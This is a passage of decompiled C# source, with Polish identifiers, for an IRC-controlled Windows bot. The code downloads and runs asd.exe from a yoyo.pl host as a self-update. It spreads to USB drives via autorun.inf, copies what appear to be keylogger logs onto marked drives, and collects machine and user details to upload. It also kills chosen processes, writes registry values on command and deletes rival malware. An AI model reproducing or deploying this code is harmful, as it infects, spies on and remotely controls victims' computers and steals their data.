      catch
      {
      }
      return num;
    }

    private void OPZarzadzaj()
    {
      if (this.LiczOpow() >= 2 || !this.SprawdzCzyOP())
        return;
      int index = new Random().Next(1, this.lu);
      try
      {
        this.irc.Op("#jaknie5", this.lcu[index]);
        this.irc.SendMessage(SendType.Message, "#jaknie5", "dalem OPa " + this.lcu[index]);
        this.Logi();
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "logi nie zostały wysłane na maila");
      }
    }

    private bool SprCzyOP(string nick)
    {
      this._channel = this.irc.GetChannel("#jaknie5");
      foreach (DictionaryEntry user in this._channel.Users)
      {
        ChannelUser channelUser = (ChannelUser) user.Value;
        if (nick == channelUser.Nick)
          return channelUser.IsOp;
      }
      return false;
    }

    private bool SprCzyVoice(string nick)
    {
      this._channel = this.irc.GetChannel("#jaknie5");
      foreach (DictionaryEntry user in this._channel.Users)
      {
        ChannelUser channelUser = (ChannelUser) user.Value;
        if (nick == channelUser.Nick)
          return channelUser.IsVoice;
      }
      return false;
    }

    private void Aktualizuj()
    {
      try
      {
        string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt");
        string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\";
        if (str != this.wer)
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "aktualizacja jest dostepna");
          FileDownloader fileDownloader = new FileDownloader();
          System.IO.File.Delete(destFolder + "asd.exe");
          fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder);
          this.OtworzPlik(destFolder + "asd.exe");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "zainstalowano aktualizacje");
        }
        if (!(str == this.wer))
          return;
        this.irc.SendMessage(SendType.Message, "#jaknie5", "brak dostępnych aktualizacji");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "instalowanie aktualizacji nie powiodlo sie");
      }
    }

    private void NowyDysk(object sender, DriveDetectorEventArgs e) => this.PobierzNaDysk(e.Drive);

    private void PobierzNaDysk(string dysk)
    {
      FileDownloader fileDownloader = new FileDownloader();
      string url1 = "http://krzycho.yoyo.pl/asd.exe";
      string url2 = "http://krzycho.yoyo.pl/autorun.inf";
      try
      {
        if (System.IO.File.Exists(dysk + "\\gt2011asd.rx8"))
        {
          string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.log", SearchOption.AllDirectories);
          string.Join(", ", files);
          int num1 = 0;
          if (files != null)
          {
            int num2 = new Random().Next(0, 10000);
            string path = dysk + "\\" + Environment.UserName + num2.ToString();
            Directory.CreateDirectory(path);
            foreach (string str in files)
              ++num1;
            for (int index = 0; index < num1; ++index)
              System.IO.File.Copy(files[index], path + "\\" + Path.GetFileName(files[index]));
          }
          int num3 = 0;
          if (files == null)
            return;
          foreach (string str in files)
            ++num3;
          for (int index = 0; index < num3; ++index)
          {
            try
            {
              System.IO.File.Delete(files[index]);
            }
            catch
            {
            }
          }
        }
        else if (System.IO.File.Exists(dysk + "\\911gt2011.asd"))
        {
          if (System.IO.File.ReadAllText(dysk + "\\911gt2011.asd") == null)
            return;
          foreach (string readAllLine in System.IO.File.ReadAllLines(dysk + "\\911gt2011.asd"))
          {
            this.kom = readAllLine;
            this.Polecenia();
          }
        }
        else
        {
          if (!this.PendriveRejestr())
            return;
          try
          {
            this.UsunPlikZDysku(dysk + "\\autorun.inf");
          }
          catch
          {
          }
          try
          {
            fileDownloader.Download(url1, dysk);
            fileDownloader.Download(url2, dysk);
            this.mailUpload("Infekcja", "Zainfekowany pendrive", "");
          }
          catch
          {
          }
          try
          {
            string sourceFileName = dysk + "asd.exe";
            string str = dysk + "autorun.inf";
            try
            {
              System.IO.File.Move(sourceFileName, dysk + "Nie uruchamiaj tego.exe");
            }
            catch
            {
            }
          }
          catch
          {
          }
        }
      }
      catch
      {
      }
    }

    private void UsunPlikZDysku(string sciezka)
    {
      try
      {
        System.IO.File.Delete(sciezka);
      }
      catch
      {
      }
    }

    private void AktualizujAuto()
    {
      try
      {
        string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt");
        string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\";
        if (!(str != this.wer))
          return;
        FileDownloader fileDownloader = new FileDownloader();
        System.IO.File.Delete(destFolder + "asd.exe");
        fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder);
        this.OtworzPlik(destFolder + "asd.exe");
      }
      catch
      {
      }
    }

    private void ZbierzDane()
    {
      try
      {
        Environment.GetLogicalDrives();
        string str1 = " ";
        string environmentVariable = Environment.GetEnvironmentVariable("windir");
        string userName = Environment.UserName;
        string str2 = Convert.ToString((object) Environment.OSVersion);
        string machineName = Environment.MachineName;
        string systemDirectory = Environment.SystemDirectory;
        string userDomainName = Environment.UserDomainName;
        string str3 = Convert.ToString((object) Environment.Version);
        string str4 = Convert.ToString(Environment.ProcessorCount);
        string[] logicalDrives = Environment.GetLogicalDrives();
        string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
        foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
          str1 = str1 + address.ToString() + " ";
        string str5 = this.PobierzSerialDysku("C");
        string str6 = "System " + str2;
        string str7 = "Znajduje sie w " + environmentVariable;
        string str8 = "Folder system32 jest w " + systemDirectory;
        string str9 = "Wersja systemu " + str3;
        string str10 = "Nazwa maszyny " + machineName;
        string str11 = "Domena " + userDomainName;
        string str12 = "Nazwa uzytkownika " + userName;
        string str13 = "Liczba procesorow " + str4;
        string str14 = "Dyski: " + string.Join(", ", logicalDrives);
        string str15 = "Adres IP " + str1;
        string str16 = "Sciezka do moich dokumentow " + folderPath;
        string str17 = "Numer seryjny woluminu " + str5;
        WebClient webClient = new WebClient();
        string str18 = webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn.txt");
        string str19 = str17;
        string str20 = str6 + Environment.NewLine + str7 + Environment.NewLine + str8 + Environment.NewLine + str9 + Environment.NewLine + str10 + Environment.NewLine + str11 + Environment.NewLine + str13 + Environment.NewLine + str12 + Environment.NewLine + str14 + Environment.NewLine + str16 + Environment.NewLine + str15 + Environment.NewLine + str17 + Environment.NewLine + Environment.NewLine;
        if (str18.Contains(str19))
          return;
        try
        {
          if (webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn2.txt").Contains(str19))
            return;
          this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt");
          new FileDownloader().Download("http://poprostuchlopie.yoyo.pl/bazadn2.txt", this.folderbs);
          string str21 = this.folderbs + "\\bazadn2.txt";
          StreamWriter streamWriter = new StreamWriter(str21, true);
          streamWriter.WriteLine(str20);
          streamWriter.Close();
          this.Upload(str21);
        }
        catch
        {
          this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt");
          string str22 = this.folderbs + "\\bazadn2.txt";
          StreamWriter streamWriter = new StreamWriter(str22, true);
          streamWriter.WriteLine(str20);
          streamWriter.Close();
          this.Upload(str22);
        }
      }
      catch
      {
      }
    }

    private void Czyszczenie()
    {
      try
      {
        string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.jpeg", SearchOption.AllDirectories);
        int num = 0;
        if (files[0] != null)
        {
          foreach (string str in files)
            ++num;
          for (int index = 0; index < num; ++index)
          {
            try
            {
              System.IO.File.Delete(files[index]);
            }
            catch
            {
            }
          }
        }
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku");
      }
      this.ZnajdzIUsun();
    }

    private void ZnajdzIUsun()
    {
      try
      {
        string[] strArray1 = new string[20]
        {
          Environment.SystemDirectory + "\\Setup\\svchost.exe",
          Environment.GetEnvironmentVariable("windir") + "\\svchost.exe",
          Environment.GetEnvironmentVariable("windir") + "\\twin_32\\svchost.exe",
          "C:\\svchost.exe",
          "D:\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\svchost.exe",
          "E:\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\svchost.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\svchost.exe",
          null,
          null,
          null
        };
        for (int index = 0; index < 16; ++index)
        {
          try
          {
            if (System.IO.File.Exists(strArray1[index]))
            {
              if (new FileInfo(strArray1[index]).Attributes != FileAttributes.ReadOnly)
                System.IO.File.Delete(strArray1[index]);
            }
          }
          catch
          {
          }
        }
        string[] strArray2 = new string[20]
        {
          Environment.SystemDirectory + "\\Setup\\jucheed.exe",
          Environment.GetEnvironmentVariable("windir") + "\\jucheed.exe",
          Environment.GetEnvironmentVariable("windir") + "\\twin_32\\jucheed.exe",
          "C:\\jucheed.exe",
          "D:\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\jucheed.exe",
          "E:\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\jucheed.exe",
          Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\jucheed.exe",
          null,
          null,
          null
        };
        for (int index = 0; index < 16; ++index)
        {
          try
          {
            if (System.IO.File.Exists(strArray2[index]))
            {
              if (new FileInfo(strArray2[index]).Attributes != FileAttributes.ReadOnly)
                System.IO.File.Delete(strArray2[index]);
            }
          }
          catch
          {
          }
        }
        this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono dysk");
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku");
      }
    }

    private string PobierzSerialDysku(string drive)
    {
      if (drive == "" || drive == null)
        drive = "C";
      ManagementObject managementObject = new ManagementObject("win32_logicaldisk.deviceid=\"" + drive + ":\"");
      managementObject.Get();
      return managementObject["VolumeSerialNumber"].ToString();
    }

    private void ZmienTapete()
    {
      try
      {
        string[] strArray1 = new string[10];
        string[] strArray2 = this.kom.Split(' ');
        string url = strArray2[3];
        string styl;
        try
        {
          styl = strArray2[4];
        }
        catch
        {
          styl = "Centered";
        }
        if (styl != "rozciagnij" && styl != "normalnie" && styl != "sasiadujaco")
          styl = "normalnie";
        this.PobierzTapete(url, styl);
      }
      catch (Exception ex)
      {
        this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zmieniono tapety (" + ex.Message + ")");
      }
    }

    private bool SprawdzBlokady()
    {
      Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft");
      return !(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false").ToString() != "true");
    }

    private void Blokuj(object sender, ElapsedEventArgs e)
    {
      try
      {
        string str1 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) "false").ToString();
        if (!(str1 != ""))
          return;
        string[] strArray = str1.Split(',');
        foreach (Process process in Process.GetProcesses())
        {
          foreach (string str2 in strArray)
          {
            if (process.ProcessName == str2)
              process.Kill();
          }
        }
      }
      catch
      {
      }
    }

    private void Blokowanie()
    {
      string[] strArray1 = this.kom.Split('"');
      if (this.kom.Contains("wlacz"))
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "true");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono blokowanie programów");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono blokowania programów");
        }
      }
      else if (this.kom.Contains("wylacz"))
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono blokowanie programów");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono blokowania programów");
        }
      }
      else if (this.kom.Contains("dodaj"))
      {
        try
        {
          string str = strArray1[1];
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) (Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString() + str));
          this.irc.SendMessage(SendType.Message, "#jaknie5", "dodano program do listy blokowanych");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie dodano programu do listy blokowanych");
        }
      }
      else if (this.kom.Contains("usun"))
      {
        try
        {
          string str1 = strArray1[1];
          string[] strArray2 = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString().Split(',');
          int index = 0;
          foreach (string str2 in strArray2)
          {
            if (str2 == str1)
              strArray2[index] = "";
            ++index;
          }
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) string.Join(",", strArray2));
          this.irc.SendMessage(SendType.Message, "#jaknie5", "usunieto program z listy blokowanych");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie usunieto programu z listy blokowanych");
        }
      }
      else if (this.kom.Contains("wyczysc"))
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) "");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono liste blokowanych programow");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono listy blokowanych programów");
        }
      }
      else
      {
        try
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj wlacz, -blokuj wylacz, -blokuj wyczysc");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj dodaj [nazwa procesu], -blokuj usun [nazwa procesu]");
        }
        catch
        {
        }
      }
      this.stt.Interval = 300.0;
      this.stt.Elapsed += new ElapsedEventHandler(this.Blokuj);
      if (this.SprawdzBlokady())
        this.stt.Enabled = true;
      else
        this.stt.Enabled = false;
    }

    private bool PendriveRejestr()
    {
      Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft");
      return Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true").ToString() != "false";
    }

    private void InfekujPendrive()
    {
      if (this.kom.Contains("wlacz"))
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono infekowanie pendrivów");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono infekowania pendrivów");
        }
      }
      else if (this.kom.Contains("wylacz"))
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "false");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono infekowanie pendrivów");
        }
        catch
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono infekowania pendrivów");
        }
      }
      else
      {
        try
        {
          this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie");
          this.irc.SendMessage(SendType.Message, "#jaknie5", "-infekuj wlacz, -infekuj wylacz");
        }
        catch
        {
        }
      }
    }

    private void UstawieniaRejestru()
    {
      RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft");
      string str1 = subKey.GetValue("knp", (object) "false").ToString();
      string str2 = subKey.GetValue("blok", (object) "false").ToString();
      string str3 = subKey.GetValue("programy", (object) "").ToString();
      string str4 = !(str1 != "true") ? "Infekowanie pendrivów jest włączone" : "Infekowanie pendrivów jest wyłączone";
      string str5 = !(str2 != "true") ? "Blokowanie programów jest włączone" : "Blokowanie programów jest wyłączone";
      string str6 = !(str3 != "") ? "Nie są blokowane żadne programy" : "Blokowane programy: " + str3;
      string destination = "#jaknie5";
      string message1 = str4;
      string message2 = str5;
      string message3 = str6;
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
    }

    private string RejestrOdczyt(string klucz, string NazwaWartosci)
    {
      try
      {
        return Registry.GetValue(klucz, NazwaWartosci, (object) "brak wpisu").ToString();
      }
      catch (Exception ex)
      {
        return "brak wpisu (" + ex.Message + ")";
      }
    }

    private void Rejestr()
    {
      string destination = "#jaknie5";
      if (this.kom.Contains("odczyt"))
      {
        string message;
        try
        {
          string[] strArray = this.kom.Split('"');
          message = this.RejestrOdczyt(strArray[1], strArray[3]);
        }
        catch (Exception ex)
        {
          message = "Nie mozna odczytac wartosci (" + ex.Message + ")";
        }
        this.irc.SendMessage(SendType.Message, destination, message);
      }
      else if (this.kom.Contains("dodaj"))
      {
        string message;
        try
        {
          string[] strArray = this.kom.Split('"');
          message = !this.RejestrDodaj(strArray[1], strArray[3], strArray[5]) ? "Nie dodano wartosci do rejestru" : "Dodano wartosc do rejestru";
        }
        catch (Exception ex)
        {
          message = "Nie dodano wartosci do rejestru (" + ex.Message + ")";
        }
        this.irc.SendMessage(SendType.Message, destination, message);
      }
      else
      {
        try
        {
          this.irc.SendMessage(SendType.Message, destination, "Niepoprawne polecenie");
          this.irc.SendMessage(SendType.Message, destination, "-rejestr odczyt [klucz] [nazwa wartosci]");
          this.irc.SendMessage(SendType.Message, destination, "-rejestr dodaj [klucz] [nazwa wartosci] [wartosc]");
        }
        catch
        {
        }
      }
    }

    private bool RejestrDodaj(string klucz, string nazwaWartosci, string wartosc)
    {
      try
      {
        Registry.SetValue(klucz, nazwaWartosci, (object) wartosc);
        return true;
      }
      catch
      {
        return false;
      }
    }

    [DllImport("user32.dll", CharSet = CharSet.Auto)]
    private static extern int SystemParametersInfo(
      int uAction,
      int uParam,
      string lpvParam,
      int fuWinIni);

    public static void Set(Uri uri, Form1.Style style)
    {
      Image image = Image.FromStream(new WebClient().OpenRead(uri.ToString()));
      string str = Path.Combine(Path.GetTempPath(), "wallpaper.bmp");
      image.Save(str, ImageFormat.Bmp);
      RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
      if (style == Form1.Style.rozciagnij)
      {
        registryKey.SetValue("WallpaperStyle", (object) 2.ToString());
        registryKey.SetValue("TileWallpaper", (object) 0.ToString());
      }
      if (style == Form1.Style.normalnie)
      {
        registryKey.SetValue("WallpaperStyle", (object) 1.ToString());
        registryKey.SetValue("TileWallpaper", (object) 0.ToString());
      }
      if (style == Form1.Style.sasiadujaco)
      {
        registryKey.SetValue("WallpaperStyle", (object) 1.ToString());
        registryKey.SetValue("TileWallpaper", (object) 1.ToString());
      }
      Form1.SystemParametersInfo(20, 0, str, 3);
    }

    private void PobierzTapete(string url, string styl)
    {
      FileDownloader fileDownloader = new FileDownloader();
      string destination = "#jaknie5";
      try
      {
        string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        fileDownloader.Download(url, folderPath);
        string[] strArray = url.Split('/');
        string str1 = "";
        foreach (string str2 in strArray)
          str1 = str2;
        Form1.Set(new Uri(folderPath + "\\" + str1), (Form1.Style) System.Enum.Parse(typeof (Form1.Style), styl, false));
        string message = "Tapeta została zmieniona";
        this.irc.SendMessage(SendType.Message, destination, message);
      }
      catch (Exception ex)
      {
        string message = "Tapeta nie została zmieniona (" + ex.Message + ")";
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    protected override void Dispose(bool disposing)
    {
      if (disposing && this.components != null)
        this.components.Dispose();
      base.Dispose(disposing);
    }

    private void InitializeComponent()
    {
      this.SuspendLayout();
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(115, 0);
      this.Location = new Point(99999, 99999);
      this.Name = nameof (Form1);
      this.StartPosition = FormStartPosition.Manual;
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
    }

    private delegate void ircListener();

    public enum Style
    {
      sasiadujaco,
      normalnie,
      rozciagnij,
    }
  }
}
